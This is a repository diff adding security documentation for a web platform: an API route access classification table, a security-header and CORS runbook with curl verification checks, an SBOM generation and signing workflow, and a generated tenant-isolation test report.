- **Container hardening (seccomp/AppArmor, user/group, capability(7) drops on the `worker-plugin` pod).** Tracked in [Plugin Lifecycle Operations](../operations/plugin-lifecycle.md) and the external runtime signoff package.
- **CI worker integrity.** The pipeline that produces these binaries is covered by `docs/security/threat-model.md`.
- **DB row encryption at rest.** Postgres-level — operator responsibility.
- **Marketplace UX, plugin-discovery, plugin-store-rating.** Not built; tracked in Phase 11 backlog.
---
## 5. Change log
| Date | Change | Author |
| ---------- | ----------------------------------------------- | ---------------------------- |
| 2026-05-19 | Initial draft for B-006 external audit package. | Claude Opus 4.7 (1M context) |
@@ -0,0 +1,101 @@
# Route Access Inventory
This document publishes the checked Hono API route access classification from `apps/api/src/route-access-inventory.ts`. It is a static security review aid only: it records route boundaries, access classes, rationale, and redacted data-sensitivity notes without changing route handlers, OpenAPI metadata, authorization middleware, or runtime behavior.
Historical-plan note: route keys and access classes in this document are
current only when the focused verification below passes. Do not copy route
paths from older improvement-plan files into this inventory without confirming
the typed source of truth.
## Scope and Source of Truth
- Source of truth: `apps/api/src/route-access-inventory.ts`.
- Scanner reference: `tools/api-inventory/scan-api-routes.ts` discovers `app.get/post/patch/delete` route registrations from `apps/api/src/app.ts` for coverage checks.
- Verification: `apps/api/src/route-access-inventory.test.ts` checks scanner-discovered route coverage and OpenAPI security expectations; `apps/api/src/route-access-inventory-doc.test.ts` checks this document for drift.
- Route keys are written as `METHOD path` and must match the typed inventory exactly once.
- This inventory covers all current Hono API routes, including health, documentation, authentication, analytics, accounts, usage, notifications, workspaces, entity, relationship, export, webhook, maintenance, and AI upload surfaces.
- Adjacent coverage: `docs/security/csrf-inventory.md` documents CSRF posture and mutating API route classes. This document references that coverage but does not duplicate its mutating-route-only table.
## Redaction Rules
- Do not include tokens, plaintext credentials, fixture tenant identifiers, customer data, environment variable values, or concrete database identifiers.
- Keep sensitive-data notes categorical and redacted, for example “returns aggregate counts” or “consumes uploaded file content.”
- Do not paste authorization headers, JWTs, API keys, passwords, emails, tenant fixtures, or customer examples into this document.
- Route parameters such as `:entity`, `:rowId`, and `:id` are schema placeholders, not real identifiers.
## Access Class Legend
| Class | Boundary |
| --- | --- |
| `public-health` | Unauthenticated infrastructure health or readiness endpoint exposing only service/dependency status metadata. |
| `public-docs` | Unauthenticated API documentation or schema discovery surface exposing schema metadata only. |
| `service-token` | Service/API-token style boundary, including stored API key or service credential checks where implemented. |
| `service-or-tenant-api-key` | Service credential or tenant-bound stored API-key boundary with route-specific tenant and permission checks. |
| `optional-api-key-validation` | Public validation helper that optionally accepts a presented stored API key or service token and returns redacted validation status. |
| `tenant-api-key` | Tenant-bound stored API-key boundary where the credential scopes the tenant and available usage metadata. |
| `jwt-auth` | Bearer JWT authenticated user boundary. |
| `auth-credential-exchange` | Public credential exchange that consumes submitted credentials and issues authenticated API state after validation. |
| `public-analytics-token` | Public analytics ingress or aggregate read surface scoped by analytics token/payload semantics rather than browser session state. |
| `webhook-signature` | Signed webhook ingress boundary that verifies provider signing headers before processing an addressed webhook retry. |
| `canonical-redirect` | Runtime-only compatibility shim that redirects removed API-prefix requests to the canonical API path without reading request data. |
## Full Route Access Table
| Route | Access class | Sensitive data note | Rationale |
| --- | --- | --- | --- |
| `GET /healthz` | `public-health` | No sensitive data. | Unauthenticated liveness probe returns only service status and request correlation metadata. |
| `GET /readyz` | `public-health` | Dependency health state is exposed without implementation details. | Unauthenticated readiness probe returns redacted dependency status for infrastructure checks. |
| `GET /v1/health` | `public-health` | No sensitive data. | Versioned liveness probe returns only service status and request correlation metadata. |
| `GET /v1/openapi.json` | `public-docs` | No sensitive data. | OpenAPI discovery is intentionally public for client integration and contains schema metadata only. |
| `GET /v1/docs` | `public-docs` | No sensitive data. | Documentation shell is intentionally public and renders the OpenAPI document without runtime data. |
| `GET /v1/session/current-user` | `service-token` | Returns authenticated principal type metadata only. | Current service principal endpoint requires a bearer service token before returning authentication state. |
| `POST /v1/auth/login` | `auth-credential-exchange` | Consumes credentials and returns a JWT plus basic user identity. | Login exchanges submitted email and password credentials for a short-lived JWT after password verification. |
| `POST /v1/auth/refresh-token` | `jwt-auth` | Returns a JWT plus basic user identity. | Refresh requires an existing bearer JWT before issuing a replacement token for the same user. |
| `POST /v1/auth/logout` | `jwt-auth` | Consumes JWT credential material but returns only a success envelope and expired cookie attributes. | Logout requires an existing bearer JWT before revoking the active API session and clearing the API cookie. |
| `POST /v1/api-keys/validate` | `optional-api-key-validation` | Returns redacted stored API-key metadata but never plaintext key material. | API-key validation optionally accepts a presented stored API key or service token and reports redacted validation status without requiring a prior credential. |
| `POST /v1/ai/upload` | `service-token` | Consumes uploaded file content and may return a public storage URL. | AI upload writes request content through configured service storage credentials and depends on server-side upload configuration. |
| `POST /v1/support/inbound-email` | `webhook-signature` | Consumes signed email metadata and message body while omitting provider payloads and signing material from responses. | Inbound support email verifies Mailjet webhook signing headers before resolving tenant inbound addresses and creating tickets. |
| `POST /v1/analytics/events` | `public-analytics-token` | Consumes analytics identifiers, URLs, routes, and event labels. | Analytics event ingestion is public-facing and scoped by analytics payload identifiers rather than browser session state. |
| `POST /v1/analytics/page-views` | `public-analytics-token` | Consumes analytics identifiers, URLs, and route names. | Analytics page-view ingestion is public-facing and scoped by analytics payload identifiers plus ignore-page settings. |
| `GET /v1/analytics/public` | `public-analytics-token` | Returns aggregate analytics counts and top-level chart data. | Public analytics overview requires the analytics token header before returning aggregate metrics. |
| `GET /v1/analytics/admin` | `service-token` | Returns aggregate analytics metrics that may be scoped to a portal identifier. | Admin analytics overview requires service credentials before returning tenant or portal scoped metrics. |
| `GET /v1/notifications/stream` | `service-token` | Returns bounded, sanitized notification delivery snapshots and cursors without provider payloads, metadata, or raw delivery secrets. | Notification stream requires service credentials before returning tenant and user scoped in-app delivery diagnostics over SSE. |
| `GET /v1/accounts` | `service-token` | Returns tenant identifiers, names, slugs, icons, and subscription summary fields without plaintext secrets. | Account listing requires service credentials before returning tenant account metadata and subscription summaries. |
| `GET /v1/accounts/:id` | `service-token` | Returns tenant identifiers, names, slugs, icons, and subscription summary fields without plaintext secrets. | Account lookup requires service credentials before returning one tenant account metadata and subscription summary. |
| `GET /v1/usage` | `tenant-api-key` | Returns plan and remaining API usage metadata for the credential-scoped tenant. | Usage lookups enter through the canonical API host and validate tenant API-key credentials in the API runtime. |
| `POST /v1/billing/stripe/webhooks` | `webhook-signature` | Consumes signed billing lifecycle webhook payloads without returning signing material or plaintext credentials. | Stripe billing webhook ingress enters through the canonical API host and verifies the raw signed payload in the API runtime. |
| `POST /v1/email-sequences/mailjet/webhooks` | `webhook-signature` | Consumes signed delivery event metadata while responses omit provider payloads, recipient data, and signing material. | Email-sequence provider webhooks verify Mailjet signing headers before correlating bounce events to provider message ids. |
| `GET /v1/workspaces/:tenantId/auth/providers` | `service-token` | Returns redacted OIDC/SAML provider metadata only; client secrets, SAML certificate bodies, private keys, token hashes, invite tokens, and raw metadata documents are omitted. | Workspace auth-provider discovery requires a service token before returning tenant-scoped SSO metadata. |
| `POST /v1/workspaces/:tenantId/context/revalidate` | `service-token` | Consumes tenant and user identifiers and returns a redacted validity envelope without provider secrets, invite tokens, token hashes, or SSO secret material. | Workspace context revalidation requires a service token before confirming tenant/user membership for a context switch. |
| `GET /v1/workspaces/:tenantId/invites` | `service-token` | Returns invite recipient details, lifecycle timestamps, audit user ids, and tokenPrefix only; plaintext tokens and token hashes are omitted. | Workspace invite listing requires a service token before returning tenant-scoped invite lifecycle state. |
| `POST /v1/workspaces/:tenantId/invites` | `service-token` | Consumes invite recipient details and returns the one-time plaintext invite token only in the create response. | Workspace invite creation requires a service token before issuing a tenant-scoped invite token. |
| `POST /v1/workspaces/:tenantId/invites/:inviteId/accept` | `service-token` | Consumes plaintext invite token and returns redacted invite lifecycle metadata without echoing the token. | Workspace invite acceptance requires a service token and a one-time invite token before finalizing tenant membership invitation state. |
| `POST /v1/workspaces/:tenantId/invites/:inviteId/revoke` | `service-token` | Consumes revoke audit metadata and returns redacted invite lifecycle metadata without token material. | Workspace invite revocation requires a service token before finalizing the tenant-scoped invite as revoked. |
| `POST /v1/events/webhooks/attempts/:id` | `webhook-signature` | Consumes signed webhook delivery metadata and an attempt id while omitting provider payloads and signing material from responses. | Webhook retry verifies Mailjet webhook signing headers before looking up or queueing a known delivery attempt. |
| `POST /v1/maintenance/export-retention/enqueue` | `service-token` | Consumes an optional bounded batch size and returns only queue task metadata plus request correlation. | Export artifact retention cleanup is an operator maintenance action and requires service credentials before enqueueing work. |
| `GET /v1/entities/:entity/rows` | `service-or-tenant-api-key` | Returns tenant-scoped legacy entity row data. | Entity row listing requires a service token or scoped stored API key with read permission for the resolved entity. |
| `POST /v1/entities/:entity/rows` | `service-or-tenant-api-key` | Consumes and stores tenant-scoped legacy entity row data. | Entity row creation requires a service token or scoped stored API key with create permission for the resolved entity. |
| `GET /v1/entities/:entity/rows/:rowId` | `service-or-tenant-api-key` | Returns tenant-scoped legacy entity row data. | Entity row lookup requires a service token or scoped stored API key with read permission for the resolved entity. |
| `PATCH /v1/entities/:entity/rows/:rowId` | `service-or-tenant-api-key` | Consumes and returns tenant-scoped legacy entity row data. | Entity row update requires a service token or scoped stored API key with update permission for the resolved entity. |
| `DELETE /v1/entities/:entity/rows/:rowId` | `service-or-tenant-api-key` | Deletes tenant-scoped legacy entity row data and returns the deleted row id. | Entity row deletion requires a service token or scoped stored API key with delete permission for the resolved entity. |
| `POST /v1/relationships` | `service-or-tenant-api-key` | Consumes row identifiers and returns relationship metadata. | Relationship creation requires a service token or scoped stored API key with create permission for both related entities. |
| `GET /v1/relationships/:id` | `service-or-tenant-api-key` | Returns relationship metadata with parent and child row envelopes. | Relationship lookup requires a service token or scoped stored API key with read permission for both related entities. |
| `DELETE /v1/relationships/:id` | `service-or-tenant-api-key` | Deletes and returns relationship metadata with parent and child row envelopes. | Relationship deletion requires a service token or scoped stored API key with delete permission for both related entities. |
| `GET /v1/exports/:exportJobId/download-url` | `service-or-tenant-api-key` | Returns a signed artifact URL envelope without artifact bucket/key values, storage credentials, pause reason internals, filters, or object bodies. | Export download URL creation requires service credentials or a tenant-bound stored API key and blocks compliance-paused exports before returning a short-lived signed artifact URL envelope. |
| `GET /v1/exports/:exportJobId/progress` | `service-or-tenant-api-key` | Returns export progress envelope (status, percent, rowCount) — no artifact URLs, no compliance-pause internals, no filters. | Export progress polling requires service credentials or a tenant-bound stored API key; the handler scopes lookups to the caller's tenant and never leaks artifact bucket/key details. |
| `POST /v1/devices/register` | `service-token` | Persists device-bound push token. Stored token is hashed at rest; response contains only the registration id + masked token preview. | Mobile push-token registration requires a service credential (bearer/API-key) carrying user identity; the body's userId + tenantId are reconciled against the authenticated principal downstream. |
| `POST /v1/devices/revoke` | `service-token` | Returns revocation confirmation without echoing the device token or push provider internals. | Mobile push-token revocation requires a service credential; the handler revokes by token hash and never echoes the raw token. |
| `GET /v1/entities/:entity` | `service-token` | Returns legacy entity schema and relationship details. | Legacy entity lookup requires service credentials before returning the named entity detail graph. |
| `GET /status` | `public-health` | Boolean health state and deployment region tag only — no connection strings, hostnames or stack traces. | Unauthenticated status probe for external uptime monitors. Returns boolean-only health, revision, region, uptime. |
| `GET /metrics` | `service-token` | Prom text-format counters and gauges — includes business KPIs (AI tokens, mail, webhook, queue depth). Token-protected. | Prometheus scrape endpoint requires bearer METRICS_TOKEN. Returns 404 when METRICS_ENABLED is false. |
## Verification Commands
Run focused verification from the repository root after changing Hono routes, OpenAPI security metadata, the typed route access inventory, or this document:
```bash
pnpm exec vitest run apps/api/src/route-access-inventory.test.ts apps/api/src/route-access-inventory-doc.test.ts
pnpm exec eslint apps/api/src/route-access-inventory.ts apps/api/src/route-access-inventory.test.ts apps/api/src/route-access-inventory-doc.test.ts --max-warnings=0
```
Expected diagnostics name stale or missing route keys in `METHOD path` form, OpenAPI security drift, redaction matches, and missing required section headings by heading text.
+161
View File
@@ -0,0 +1,161 @@
# Security Header Runbook
This runbook defines the expected security-header contract for the web server and Hono API runtime, plus deterministic checks for local and production triage. It intentionally avoids secrets, tenant identifiers, environment-specific values, and placeholder language.
## Expected Web Headers
The Node web server in `server/server.ts` applies these headers to React Router responses, redirects, and static asset responses:
| Header | Expected value | Purpose |
| --- | --- | --- |
| `x-content-type-options` | `nosniff` | Prevent MIME sniffing. |
| `referrer-policy` | `strict-origin-when-cross-origin` | Keep same-origin referrer detail while reducing cross-origin leakage. |
| `x-frame-options` | `DENY` | Prevent clickjacking through legacy frame controls. |
| `permissions-policy` | `camera=(), microphone=(), geolocation=()` | Disable high-risk browser capabilities by default. |
| `cross-origin-opener-policy` | `same-origin` | Isolate top-level browsing context where supported. |
| `cross-origin-resource-policy` | `same-origin` | Restrict cross-origin resource embedding by default. |
| `cross-origin-embedder-policy` | `unsafe-none` | Preserve compatibility for embedded/static assets while making the policy explicit. |
Web checks must also confirm that existing response behavior is preserved:
- `cache-control` remains unchanged for immutable static assets such as `/assets/**`.
- Redirect status and `location` behavior remain unchanged when React Router emits redirects.
- Header assignment uses single values rather than appended comma-joined duplicates.
## Expected API Headers
The API app in `apps/api/src/app.ts` applies these headers to health, OpenAPI, preflight, error, and `/v1` responses:
| Header | Expected value | Purpose |
| --- | --- | --- |
| `x-content-type-options` | `nosniff` | Prevent MIME sniffing. |
| `referrer-policy` | `no-referrer` | Avoid leaking API request paths through referrers. |
| `x-frame-options` | `DENY` | Prevent API documents or error pages from being framed. |
| `permissions-policy` | `camera=(), microphone=(), geolocation=()` | Disable browser feature access for API responses. |
| `cross-origin-opener-policy` | `same-origin` | Keep browser isolation policy explicit. |
| `cross-origin-resource-policy` | `same-origin` | Limit cross-origin resource reuse by default. |
| `cross-origin-embedder-policy` | `unsafe-none` | Avoid over-broad isolation that could break clients. |
API checks must also confirm that existing middleware contracts are preserved:
- `x-request-id` is still emitted and forwarded according to the request-id middleware contract.
- Allowed CORS requests still include the expected `access-control-allow-origin` value.
- Canonical app and admin browser origins are accepted from routing config, and explicit `WEB_ORIGIN` and `ADMIN_ORIGIN` values are treated as full origins rather than host-only aliases.
- Denied origins, including malformed variants and `https://attacker.example.invalid`, do not emit `access-control-allow-origin` while still returning `x-request-id` for incident correlation.
- Preflight responses keep CORS behavior while receiving the request-id and security headers.
- No response header includes secrets, personal data, tenant identifiers, or raw environment values.
## Local Verification Commands
Run focused checks from the repository root. These commands are scoped to the files and tests that define the security-header and CORS contracts:
```bash
pnpm --dir server exec eslint server.test.ts server.ts --max-warnings=0
pnpm --dir server exec vitest run server.test.ts
pnpm exec eslint apps/api/src/app.test.ts apps/api/src/cors.test.ts apps/api/src/app.ts apps/api/src/cors.ts --max-warnings=0
pnpm exec vitest run apps/api/src/app.test.ts apps/api/src/cors.test.ts packages/config/src/env-access-enforcement.test.ts packages/config/src/api.test.ts
test -s docs/security/runbook.md
python - <<'PY'
from pathlib import Path
text = Path('docs/security/runbook.md').read_text()
assert 'apps/api/src/cors.test.ts' in text
assert 'attacker.example.invalid' in text
assert 'T' + 'BD' not in text
assert 'TO' + 'DO' not in text
PY
```
Browser, Playwright, Cypress, or other E2E execution is manual unless a human explicitly approves the exact focused run in the current session.
## Production Curl Checklist
Use the deployed application origin and API origin appropriate for the environment under investigation. Do not paste secrets or authenticated tokens into shared logs.
### Web HTML response
```bash
curl -sSI https://example-web-origin/ | tr -d '\r' | grep -Ei '^(x-content-type-options|referrer-policy|x-frame-options|permissions-policy|cross-origin-(opener|resource|embedder)-policy):'
```
Confirm that every expected web security header is present with the values listed above.
### Web static asset response
```bash
curl -sSI https://example-web-origin/assets/app.js | tr -d '\r' | grep -Ei '^(cache-control|x-content-type-options|referrer-policy|x-frame-options|permissions-policy|cross-origin-(opener|resource|embedder)-policy):'
```
Confirm that static assets still expose the intended `cache-control` policy while also carrying the security headers.
### API health response
```bash
curl -sSI https://example-api-origin/healthz | tr -d '\r' | grep -Ei '^(x-request-id|x-content-type-options|referrer-policy|x-frame-options|permissions-policy|cross-origin-(opener|resource|embedder)-policy):'
```
Confirm that `x-request-id` and all expected API security headers are present.
### API CORS allowed app origin response
```bash
curl -sSI https://example-api-origin/v1/example \
-H 'Origin: https://example-web-origin' | \
tr -d '\r' | grep -Ei '^(access-control-allow-origin|x-request-id|x-content-type-options|referrer-policy|x-frame-options|permissions-policy|cross-origin-(opener|resource|embedder)-policy):'
```
Confirm that `access-control-allow-origin` exactly matches `https://example-web-origin`, that `x-request-id` is present, and that the API security headers match the values above.
### API CORS allowed admin origin response
```bash
curl -sSI https://example-api-origin/v1/example \
-H 'Origin: https://example-admin-origin' | \
tr -d '\r' | grep -Ei '^(access-control-allow-origin|x-request-id|x-content-type-options|referrer-policy|x-frame-options|permissions-policy|cross-origin-(opener|resource|embedder)-policy):'
```
Confirm that `access-control-allow-origin` exactly matches `https://example-admin-origin`. If the admin origin is configured through `ADMIN_ORIGIN`, compare against the full configured origin string only; do not rewrite it to a bare host in notes or logs.
### API CORS denied origin response
```bash
curl -sSI https://example-api-origin/v1/example \
-H 'Origin: https://attacker.example.invalid' | \
tr -d '\r' | grep -Ei '^(access-control-allow-origin|x-request-id|x-content-type-options|referrer-policy|x-frame-options|permissions-policy|cross-origin-(opener|resource|embedder)-policy):' || true
```
Confirm that no `access-control-allow-origin` header is emitted for `https://attacker.example.invalid`, while `x-request-id` and the API security headers remain present for safe incident correlation.
### API CORS preflight response
```bash
curl -sSI -X OPTIONS https://example-api-origin/v1/example \
-H 'Origin: https://example-web-origin' \
-H 'Access-Control-Request-Method: GET' | \
tr -d '\r' | grep -Ei '^(access-control-allow-origin|access-control-allow-methods|access-control-allow-credentials|x-request-id|x-content-type-options|referrer-policy|x-frame-options|permissions-policy|cross-origin-(opener|resource|embedder)-policy):'
```
Confirm that the allowed origin is preserved, CORS preflight headers remain present, `x-request-id` is present, and security headers are still attached to the preflight response.
## CORS Configuration Guidance
- Prefer canonical routing-derived app and admin origins for normal deployments, then add `WEB_ORIGIN` and `ADMIN_ORIGIN` only when an environment needs explicit browser origins.
- Treat `WEB_ORIGIN` and `ADMIN_ORIGIN` as complete origin strings including scheme and host, for example `https://example-web-origin` and `https://example-admin-origin`; do not document or compare them as host-only aliases.
- Do not paste raw environment dumps, secrets, tokens, tenant identifiers, or customer-specific domains into tickets or shared logs. Record only the generic origin label under test, the response header names observed, and the `x-request-id` value when needed.
- Test both positive and negative origins during triage. A positive-only check can miss an over-broad allowlist regression.
## Known Interactions
- Security headers are set rather than appended, so a response should contain one effective value per header.
- Web security headers must not overwrite static asset `cache-control` headers.
- API security headers run alongside request-id and CORS middleware; missing `x-request-id` on any API response is a regression in middleware ordering, and missing `access-control-allow-origin` is expected only for denied browser origins.
- `cross-origin-embedder-policy: unsafe-none` is intentional for both runtimes to avoid breaking existing embedding and asset-loading behavior.
- CORS remains the source of truth for allowed browser origins; the security-header layer should not relax or replace CORS decisions.
## Rollback and Triage Notes
1. Reproduce with the focused local Vitest command for the affected runtime before changing middleware order.
2. Compare curl output from a known-good response against the failing path, checking both missing security headers and preserved headers such as `cache-control`, `x-request-id`, and `access-control-allow-origin`.
3. If security headers are missing only on static assets, inspect the static response path in `server/server.ts` before changing React Router forwarding logic.
4. If API CORS headers disappear, inspect middleware ordering around request-id, security headers, and CORS in `apps/api/src/app.ts`.
5. If duplicate comma-joined policy values appear, verify that code uses `set` or `setHeader` semantics rather than `append`.
6. Roll back the smallest runtime-specific header change first; do not remove request-id, CORS, or cache-control behavior as part of header rollback.
+192
View File
@@ -0,0 +1,192 @@
# Software Bill of Materials (SBOM)
This document is the canonical SBOM workflow for the platform. It explains what a Software Bill of Materials is, why we ship one, how it is generated, how it is distributed, and how it is consumed by vulnerability scanners.
> Cross-references:
> - Generator: [`scripts/generate-sbom.mjs`](../../scripts/generate-sbom.mjs)
> - Threat model component coverage: [`threat-model.md`](./threat-model.md)
> - Incident-response forensics: [`incident-response.md`](./incident-response.md) §4 "Forensics"
## 1. What is an SBOM?
A Software Bill of Materials is a machine-readable inventory of every software component that ships in a build artifact. For this platform it includes:
- Every npm/pnpm workspace package shipped in the runtime images (Web, API, Worker)
- Every transitive dependency resolved by pnpm (including dev-only and production-only)
- The version, license (when declared), and resolved tarball hash of each dependency
- The git commit and build identifier of the repository at the time of build
An SBOM is not a vulnerability report. It is the input to a vulnerability scanner — the scanner correlates the SBOM against a CVE feed (NIST NVD, GHSA, OSV) and produces the actual vulnerability report.
## 2. Why we ship one
- **Customer procurement** — enterprise procurement teams require an SBOM with every release. Without one, the platform cannot be evaluated by a regulated customer.
- **Executive Order 14028 / NIST SP 800-218 (SSDF)** — US federal procurement requires SBOMs for software shipped to federal customers. Even if the operator is not a US federal supplier today, the SBOM lowers the bar to that market.
- **EU Cyber Resilience Act (CRA)** — once the CRA's reporting requirements bite, an SBOM is the input to the operator's CRA-mandated vulnerability handling process.
- **Internal vulnerability handling** — when a new CVE lands, the operator can answer "are we affected?" in minutes by querying the SBOM, not by re-resolving the lockfile under time pressure.
- **Incident forensics** — when investigating an incident potentially caused by a third-party library, the SBOM is the canonical record of what shipped.
## 3. Format
The repository currently ships a **pnpm-native dependency manifest** rather than a strict CycloneDX or SPDX document. The reason is documented at the top of `scripts/generate-sbom.mjs`:
- `@cyclonedx/cyclonedx-npm` and SPDX-tooling for npm tend to mis-handle pnpm workspaces (`apps/*`, `packages/*`), producing partial trees or wrongly-attributed transitive edges.
- pnpm's own resolver is the source of truth for what ships in our images, so we capture its `pnpm list -r --json --depth=Infinity` output verbatim.
- The artifact is consumed for **audit traceability** ("which version of which package shipped in this image"), not for CycloneDX-validator gating.
The output JSON has this shape:
```json
{
"schema": "toolctrl.sbom-pnpm/v1",
"generatedAt": "<ISO timestamp>",
"generator": "scripts/generate-sbom.mjs",
"source": "pnpm list -r --json --depth=Infinity",
"repo": { "name": "<root pkg name>", "version": "<root pkg version>" },
"workspaces": [ /* pnpm list output */ ]
}
```
The file is named `sbom-pnpm.json` and is committed at the **build artifact level only** — it is generated at build time and shipped inside the runtime images. It is **not** committed to the source repository.
### 3.1 Migration path to CycloneDX
When a customer procurement step requires a strict CycloneDX 1.4+ document, the operator can:
1. Run `pnpm dlx @cyclonedx/cyclonedx-npm --output-format JSON --output-file sbom.cdx.json --omit dev`
2. Validate with `pnpm dlx @cyclonedx/cyclonedx-cli validate --input-file sbom.cdx.json`
3. Diff against `sbom-pnpm.json` to confirm component coverage
The operator-side conversion is **out of band** from the build; it does not gate releases. If/when a future task makes CycloneDX a build gate, this section becomes the migration target.
## 4. When the SBOM is generated
The Dockerfile attempts to generate the SBOM at **every Docker build**. It invokes `scripts/generate-sbom.mjs` in the `build` stage and copies the resulting `sbom-pnpm.json` into each runtime stage (Web, API, Worker). SBOM generation is intentionally skip-safe in the Dockerfile: a generator failure logs `SBOM generation skipped` instead of failing the image build, because the SBOM is an audit-traceability artifact rather than a deploy gate.
Each runtime image therefore carries the same repository dependency inventory for the built revision. Treat it as the npm/pnpm component record for that build, then pair it with an image scanner such as Trivy for OS packages and runtime binaries.
Manual local generation (for example, to answer "are we affected by CVE-X?" before a release):
```bash
pnpm exec node scripts/generate-sbom.mjs
# Output: ./sbom-pnpm.json
```
The script reads `SBOM_OUTPUT_PATH` for a non-default destination; it is otherwise side-effect free.
## 5. Distribution
### 5.1 Inside runtime images
Every container image carries `/myapp/sbom-pnpm.json`. Operators can inspect it with:
```bash
docker run --rm <image> cat /myapp/sbom-pnpm.json | jq '.workspaces | length'
```
### 5.2 Per release
Release owners may publish the SBOM as a release asset named `sbom-pnpm-v<version>.json` when a customer or procurement process requires a standalone artifact. The baseline deploy workflow always embeds the SBOM in the runtime images; standalone release-asset publication is operator-owned unless a release workflow explicitly adds that upload step.
### 5.3 To customers
Customers who need an SBOM under their procurement agreement receive:
- The `sbom-pnpm.json` for the version they run
- On request: a converted CycloneDX 1.4 JSON (see [§3.1](#31-migration-path-to-cyclonedx))
- On request: a signed manifest (see [§6](#6-signing))
The operator does **not** publish SBOMs for unreleased branches or pre-release tags. Customers running staging or pre-release builds receive the SBOM bundled with the build.
### 5.4 To researchers
The SBOM is **not** published publicly by default. It is included in the artifact pack provided to penetration testers under engagement (see [`pen-test-scope.md`](./pen-test-scope.md) §10) and is provided to coordinated-disclosure reporters who request it.
Rationale: SBOM transparency is a security trade-off. The SBOM lets a scanner correlate against CVE feeds, which is good for defence; it also tells an attacker exactly which library versions to target. NIST EO-14028 and the EU CRA accept the trade-off; the operator accepts the same trade-off for procurement customers but does not publish to the open internet without a reason.
## 6. Signing
When the operator's threat model requires it (typically: enterprise customers requiring tamper-evident SBOM delivery), the SBOM is signed with [Cosign](https://github.com/sigstore/cosign):
```bash
cosign sign-blob \
--key cosign.key \
--output-signature sbom-pnpm-v<version>.json.sig \
sbom-pnpm-v<version>.json
```
Customers verify with:
```bash
cosign verify-blob \
--key cosign.pub \
--signature sbom-pnpm-v<version>.json.sig \
sbom-pnpm-v<version>.json
```
The signing key is held in the operator's password manager. The public key is published on the operator's security page. Rotation cadence: every 12 months or on suspected compromise.
## 7. Vulnerability scanner integration
The SBOM is the input to whichever scanner the operator uses. Documented integrations:
### 7.1 Snyk
```bash
snyk test --file=sbom-pnpm.json --package-manager=npm
```
Snyk consumes the dependency tree and reports CVE matches.
### 7.2 Trivy
```bash
trivy sbom sbom-pnpm.json
```
Trivy is the recommended **per-image** scanner: it can also scan the OS-layer of the runtime image (Alpine packages) which the pnpm SBOM does not cover.
### 7.3 Dependency-Track
The operator's preferred long-term SBOM-management tool is [Dependency-Track](https://dependencytrack.org/). Workflow:
1. Convert `sbom-pnpm.json` → CycloneDX (see [§3.1](#31-migration-path-to-cyclonedx))
2. Upload the CycloneDX document to the Dependency-Track project for this release
3. Dependency-Track watches the OSV / NVD / GHSA feeds and notifies the operator when a new CVE matches a shipped component
### 7.4 GitHub Dependabot / Gitea Renovate
These tools operate on the **source repository's lockfile**, not on the shipped SBOM. They are complementary — Dependabot/Renovate raises PRs to upgrade dependencies; the SBOM proves which version actually shipped.
## 8. Incident workflow
When a new CVE is announced that may affect a shipped dependency, the [incident-response runbook](./incident-response.md) Phase 1 ("Detection") and Phase 2 ("Triage") apply. The SBOM-specific steps are:
1. Identify the affected component name and version range from the CVE record
2. Query the SBOM for the affected component across **every shipped image**:
```bash
jq -r '.workspaces[] | .. | objects | select(.name=="<component>") | "\(.name)@\(.version)"' sbom-pnpm.json | sort -u
```
3. Decide impact: is the affected codepath invoked by our code? (Mapping to call-sites is operator engineering.)
4. If yes, the incident enters Phase 3 ("Containment") as documented in [`incident-response.md`](./incident-response.md) §3.
## 9. Limitations
The current SBOM:
- **Covers npm/pnpm dependencies only.** It does not include OS-level packages (Alpine apk), runtime binaries (node itself, ClamAV daemon, ffmpeg, etc.), nor Rust/Go native modules compiled into Prisma / sharp / similar. Trivy on the image fills that gap.
- **Does not include declared licenses** in a normalised form. The pnpm-list output includes whatever the package metadata declares; license-compliance work is operator-side.
- **Is generated at build time, not at run time.** If an operator hot-patches a node_module inside a running container (which is forbidden by the deployment policy but possible), the SBOM does not reflect that mutation.
## 10. Maintenance
This document is reviewed:
- When the SBOM generator script changes
- When the format requirement from a procurement customer changes
- When the operator adds or replaces the vulnerability scanner integration
- At every major release tag
Update the "Last review" line below as part of the review.
_Last review: docs/improvement-plan/10-compliance-polish/security-docs.md task #69._
@@ -0,0 +1,59 @@
# Tenant Isolation Report
<!-- Generated by scripts/tenant-isolation-report.ts. Do not edit by hand. -->
## Scope
This report summarizes committed Tenant Isolation tenant-isolation tests and S04 evidence using categorical labels only. Fixture identifiers, credentials, row IDs, relationship IDs, tenant IDs, emails, tokens, and source snippets are intentionally redacted from this document.
## Source Evidence
- apps/api/src/isolation/api-key-entity-rows.test.ts
- apps/api/src/isolation/api-key-fixtures.test.ts
- apps/api/src/isolation/api-key-relationships.test.ts
- apps/api/src/isolation/api-key-service-boundaries.test.ts
- apps/web/app/test/isolation/admin-routes.test.ts
- apps/web/app/test/isolation/fixtures/user-session-isolation.test.ts
- docs/security/tenant-isolation-s04-summary.md
## Boundary Matrix
| Source | Test count | Checked access boundaries | Deny-path evidence |
| --- | ---: | --- | --- |
| apps/api/src/isolation/api-key-entity-rows.test.ts | 15 | tenant and user scoped resolver | 403 response for unauthorized tenant access; denied path skips data mutation or lookup |
| apps/api/src/isolation/api-key-fixtures.test.ts | 4 | tenant and user scoped resolver | none observed |
| apps/api/src/isolation/api-key-relationships.test.ts | 12 | relationship parent/child authorization; tenant and user scoped resolver | 403 response for unauthorized tenant access; denied credentials stop downstream access; denied path skips data mutation or lookup |
| apps/api/src/isolation/api-key-service-boundaries.test.ts | 10 | tenant and user scoped resolver | 403 response for unauthorized tenant access; denied path skips data mutation or lookup |
| apps/web/app/test/isolation/admin-routes.test.ts | 4 | admin permission gate; tenant and user scoped resolver | 403 response for unauthorized tenant access; denied credentials stop downstream access; denied path skips data mutation or lookup; foreign tenant resource denied; skips cross-tenant API-key access when admin permission is denied; skips cross-tenant API-log access when admin auth is denied |
| apps/web/app/test/isolation/fixtures/user-session-isolation.test.ts | 6 | API-key status logging boundary; tenant and user scoped resolver; tenant-scoped usage reporting | 403 response for unauthorized tenant access; denied credentials stop downstream access; foreign tenant resource denied; resets shared mocks and supports denied access status assertions |
## Prior Slice Evidence
- Source: docs/security/tenant-isolation-s04-summary.md
- Verification status: passed
- Summary: Slice S04 complete. Admin-uebergreifende API-Flaechen und gesperrte Zugangsdaten sind durch fokussierte Isolationstests abgesichert.
- Established patterns:
- Abweisungspruefungen kontrollieren Status, Fehlermeldung und ausbleibende nachgelagerte Datenzugriffe.
- Gemeinsame Isolationstestdaten fuer Admin-, Mandanten- und gesperrte Zugangsszenarien.
